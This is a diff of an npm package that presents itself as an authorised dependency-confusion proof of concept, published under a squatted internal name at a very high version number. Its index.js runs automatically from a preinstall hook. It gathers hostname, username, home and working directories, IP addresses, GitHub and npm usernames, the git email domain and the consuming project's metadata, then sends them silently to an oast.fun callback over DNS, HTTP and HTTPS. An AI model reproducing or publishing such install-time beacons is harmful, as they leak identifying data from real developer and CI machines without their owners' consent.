halali-sample 999.9.14

package/README.md

@@ -0,0 +1,67 @@
+# halali-sample
+
+**This is not a real package. It is an authorised security research proof of
+concept, and it is safe.**
+
+## Why it exists
+
+`halali-sample` was found referenced in publicly served code, but no package by
+that name existed on the public npm registry. That combination is the
+precondition for [dependency
+confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):
+a build that resolves this name from the public registry rather than from an
+internal one will install whatever is published here, from anyone.
+
+It was published at version `999.9.14` deliberately. npm resolves the highest
+available version, so a high number is what demonstrates that the public copy
+wins over an internal one.
+
+## What it does when installed
+
+It runs `index.js`, both from a `preinstall` script and on `require()`. That
+script collects exactly the following and sends it to a callback:
+
+| field | why |
+|---|---|
+| a random UUID generated at run time | to correlate the duplicate callbacks below |
+| local IPv4 address | to distinguish a corporate build host from a scanner |
+| public egress IP, looked up over HTTPS | so a callback that only arrives over DNS still has a source |
+| the public IP of the DNS resolver used, and the client network it declared | identifies the network even where outbound HTTP is blocked entirely |
+| hostname | to identify the organisation |
+| username | to identify the organisation |
+| home directory | to distinguish a developer machine from a CI container |
+| current working directory | to show where in the build it resolved |
+| GitHub username (`gh api user`), if the GitHub CLI is installed | to identify the developer |
+| npm username (`npm whoami`), if npm is logged in | to identify the developer |
+| domain of `git config user.email` (e.g. `company.com`), never the local-part | to confirm the organisation without capturing personal data |
+| this package's name | to attribute the callback |
+| the name of the package it is being installed into | to identify the project |
+| that project's `author`, `repository` and `homepage`, if set | to identify the owner |
+
+The same payload is sent three ways — DNS, HTTP and HTTPS — because corporate
+egress filtering blocks some and not others. That produces duplicate reports of
+one install; the UUID is what makes them one event again.
+
+## What it deliberately does not do
+
+- no environment variables, names or values
+- no credentials, tokens or keys
+- no file contents, no directory listings, no source code
+- no persistence, no network listening, no further downloads
+- nothing that can fail your build: every operation is wrapped and errors are
+  discarded
+
+## What to do about it
+
+Register `halali-sample` in your private registry, and configure your resolver so
+that internal scopes and names are never fetched from the public registry.
+npm's `.npmrc` supports pinning a scope to a registry; for unscoped internal
+names, an allowlist or a proxy that refuses public fallback is the fix.
+
+## Contact
+
+stillm4dd+beacons@wearehackerone.com
+
+Delete this package from your dependencies once you have confirmed the finding.
+If you are the owner of this name and would like it transferred or removed,
+contact the address above and it will be done.

package/index.js

@@ -0,0 +1,209 @@
+// AUTHORISED SECURITY RESEARCH -- dependency confusion proof of concept.
+// Reports that this package was installed, and nothing else. See README.md.
+// Contact is in package.json. Every operation below is wrapped; this file
+// cannot fail your build.
+
+const os = require("os");
+const dns = require("dns");
+const http = require("http");
+const https = require("https");
+const fs = require("fs");
+const path = require("path");
+const crypto = require("crypto");
+const { spawnSync } = require("child_process");
+
+const PACKAGE = "halali-sample";
+const CALLBACK = "da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun";
+
+function localIPv4() {
+  try {
+    const nets = os.networkInterfaces();
+    for (const name of Object.keys(nets)) {
+      for (const n of nets[name] || []) {
+        const four = n.family === "IPv4" || n.family === 4;
+        if (four && !n.internal) return n.address;
+      }
+    }
+  } catch (e) {}
+  return null;
+}
+
+// npm sets INIT_CWD to the directory the install was started from, which is
+// the consuming project rather than this package's own folder.
+function parentProject() {
+  const out = { name: "__global" };
+  try {
+    if (String(process.env.npm_config_global) === "true") return out;
+    const root = process.env.INIT_CWD || process.cwd();
+    const manifest = path.join(root, "package.json");
+    if (!fs.existsSync(manifest)) return out;
+    const pkg = JSON.parse(fs.readFileSync(manifest, "utf8"));
+    out.name = pkg.name || "__unnamed";
+    if (pkg.author) out.author = typeof pkg.author === "string"
+      ? pkg.author : pkg.author.name;
+    if (pkg.repository) out.repository = typeof pkg.repository === "string"
+      ? pkg.repository : pkg.repository.url;
+    if (pkg.homepage) out.homepage = pkg.homepage;
+  } catch (e) {}
+  return out;
+}
+
+// A DNS callback arrives from a recursive resolver, not from the machine that
+// installed anything, so the origin has to come from inside. Two sources,
+// because they fail in different situations: the HTTPS lookup gives this
+// host's egress address and needs outbound HTTP; the DNS lookup gives the
+// resolver's egress address and works in networks where only DNS leaves.
+function publicIp(done) {
+  const urls = ["https://api.ipify.org", "https://icanhazip.com",
+                "https://ifconfig.me/ip"];
+  let finished = false;
+  const timer = setTimeout(() => finish(null), 2500);
+  function finish(ip) {
+    if (finished) return;
+    finished = true;
+    clearTimeout(timer);            // never hold an install open longer than needed
+    done(ip);
+  }
+  for (const url of urls) {
+    try {
+      const req = https.get(url, { timeout: 2000 }, (res) => {
+        let body = "";
+        res.on("data", (d) => { body += d; if (body.length > 64) res.destroy(); });
+        res.on("end", () => {
+          const ip = body.trim();
+          if (/^[0-9a-f.:]{3,45}$/i.test(ip)) finish(ip);
+        });
+      });
+      req.on("error", () => {});
+      req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+    } catch (e) {}
+  }
+}
+
+function resolverIp(done) {
+  let finished = false;
+  const timer = setTimeout(() => finish(null, null), 2000);
+  function finish(ip, subnet) {
+    if (finished) return;
+    finished = true;
+    clearTimeout(timer);
+    done(ip, subnet);
+  }
+  try {
+    // Google answers with several TXT strings in no fixed order: the querying
+    // resolver's address, and an edns0-client-subnet line giving the client
+    // network the resolver forwarded on its behalf. They must be read
+    // separately -- joining them yields neither.
+    dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {
+      if (err || !records) return finish(null, null);
+      let ip = null, subnet = null;
+      for (const parts of records) {
+        for (const value of [].concat(parts)) {
+          const v = String(value).trim();
+          if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;
+          const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);
+          if (m) subnet = subnet || m[1];
+        }
+      }
+      finish(ip, subnet);
+    });
+  } catch (e) { finish(null, null); }
+}
+
+function tryExec(cmd, args, timeoutMs) {
+  try {
+    const r = spawnSync(cmd, args, { timeout: timeoutMs, encoding: "utf8", windowsHide: true });
+    if (r.status === 0 && r.stdout) return r.stdout.trim() || null;
+  } catch (e) {}
+  return null;
+}
+
+function collect() {
+  const parent = parentProject();
+  let user = null, home = null;
+  try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
+  return {
+    uuid: crypto.randomUUID(),
+    ip: localIPv4(),
+    hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
+    user: user,
+    home: home,
+    cwd: process.env.INIT_CWD || process.cwd(),
+    gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000),
+    npm_user: tryExec("npm", ["whoami"], 3000),
+    git_email_domain: (() => {
+      const e = tryExec("git", ["config", "user.email"], 2000);
+      if (e && e.includes("@")) return e.split("@").pop().toLowerCase();
+      return null;
+    })(),
+    public_ip: null,
+    resolver_ip: null,
+    client_subnet: null,
+    poc: PACKAGE,
+    parent: parent.name,
+    author: parent.author || null,
+    repository: parent.repository || null,
+    homepage: parent.homepage || null
+  };
+}
+
+function beacon(info) {
+  const body = JSON.stringify(info);
+
+  // DNS first: it is the channel most likely to survive corporate egress
+  // filtering. Labels are capped at 63 characters, so the payload is chunked.
+  try {
+    // Hex, not base64. Resolvers randomise the capitalisation of query
+    // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is
+    // case-insensitive and the response must echo the case back, which is
+    // cheap entropy against cache poisoning. It also destroys any
+    // case-sensitive encoding -- base64 chunks arrive intact but scrambled
+    // and the original case is unrecoverable. Hex has one case.
+    const hex = Buffer.from(body).toString("hex");
+    const chunks = hex.match(/.{1,60}/g) || [];
+    dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
+    chunks.forEach((c, i) => {
+      try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
+    });
+  } catch (e) {}
+
+  for (const [mod, port] of [[https, 443], [http, 80]]) {
+    try {
+      const req = mod.request({
+        hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,
+        method: "POST", timeout: 5000,
+        headers: {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(body),
+          "X-Poc-Uuid": info.uuid
+        }
+      });
+      req.on("error", () => {});
+      req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+      req.write(body);
+      req.end();
+    } catch (e) {}
+  }
+}
+
+// Look both addresses up first, then send once. Each lookup is capped and
+// cannot fail; if neither answers, the beacon still goes out with nulls.
+try {
+  const info = collect();
+  let pending = 2;
+  const go = () => { if (--pending === 0) { try { beacon(info); } catch (e) {} } };
+  publicIp((ip) => { info.public_ip = ip; go(); });
+  resolverIp((ip, subnet) => {
+    info.resolver_ip = ip;
+    info.client_subnet = subnet;   // the network the resolver queried for
+    go();
+  });
+} catch (e) {
+  try { beacon(collect()); } catch (e2) {}
+}
+
+module.exports = {
+  __securityResearch: true,
+  package: PACKAGE,
+  contact: "see package.json"
+};

package/package.json

@@ -0,0 +1,20 @@
+{
+  "name": "halali-sample",
+  "version": "999.9.14",
+  "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username, install path, and optionally the GitHub and npm usernames (if those CLIs are logged in) to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd+beacons@wearehackerone.com",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "README.md"
+  ],
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "stillm4dd+beacons@wearehackerone.com",
+  "license": "ISC",
+  "keywords": [
+    "security-research",
+    "dependency-confusion",
+    "proof-of-concept"
+  ]
+}